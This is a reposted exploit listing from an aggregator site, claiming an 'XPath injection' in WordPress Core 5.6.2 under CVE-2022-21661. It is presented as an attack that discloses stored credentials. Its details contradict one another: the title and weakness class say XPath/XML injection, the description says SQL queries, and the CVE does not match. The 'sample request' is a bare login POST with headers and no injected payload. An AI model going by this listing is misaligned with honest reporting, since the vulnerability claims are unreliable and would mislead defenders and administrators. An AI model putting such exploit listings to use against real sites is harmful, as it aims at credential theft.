WordPress Core 5.6.2 - Xpath Injection

CVE Category Price Severity
CVE-2022-21661 CWE-91 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2023-08-13

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

WordPress Core 5.6.2 - Xpath Injection
# Exploit Title: WordPress Core 5.6.2 - Xpath Injection
# Date: 2023/08/13
# Exploit Author: Behrouz Mansoori
# Vendor Homepage:
# Software Link:
# Version: 5.6.2
# Tested on: Mac
# CVE : CVE-2022-21661


#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries.
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ Sample Request ] :

POST /wp-login.php HTTP/2
Host: localhost
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Content-Length: 125
Cache-Control: max-age=0
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9


Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.